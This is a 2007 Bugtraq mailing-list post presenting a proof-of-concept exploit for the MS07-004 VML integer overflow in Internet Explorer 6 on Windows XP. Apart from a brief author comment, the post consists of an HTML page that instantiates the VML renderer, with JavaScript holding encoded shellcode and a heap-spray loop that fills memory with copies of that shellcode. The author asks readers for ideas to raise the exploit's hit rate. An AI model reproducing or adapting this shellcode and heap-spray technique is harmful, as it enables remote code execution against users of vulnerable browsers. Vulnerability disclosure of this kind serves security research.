bugtraq - MS07-004 VML Integer Overflow Exploit

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Message-ID: <20070116063445.31715.qmail@securityfocus.com>
Date: 16 Jan 2007 06:34:45 -0000
From: LifeAsaGeek@...il.com
To: bugtraq@...urityfocus.com
Subject: MS07-004 VML Integer Overflow Exploit


<!--

MS07-004 VML integer overflow exploit 
   by lifeasageek at gmail.com

- Trigger CVMLRecolorinfo::InternalLoad() method
 you can see the screen captured image "http://picasaweb.google.com/lifeasageek/MS07004/photo?pli=1#5019163989136880322"
  which is generated by DarunGrim

- tested on WinXP SP2 Korean version( fully patched except kb929969)  & IE 6.0
  and I hope it works well in English version

- sorry about that exploit hit ratio is only about 1/5
  If you have any good idea to improve reliability, please send me an
e-mail with your idea

- all the java script codes scratched from MS06-055 exploit written
byTrirat Puttaraksa (Kira) <trir00t [at] gmail.com>
   and slightly modified

- 2007.1.15

-->

<html xmlns:v="urn:schemas-microsoft-com:vml">

<head>
<object id="VMLRender"
classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E">
</object>
<style>
v\:* { behavior: url(#VMLRender); }
</style>
</head>

<body>

<SCRIPT language="javascript">
shellcode =
unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");

bigblock = unescape("%u0505%u0505");
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<350;i++) memory[i] = block + shellcode;

</script>

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</html>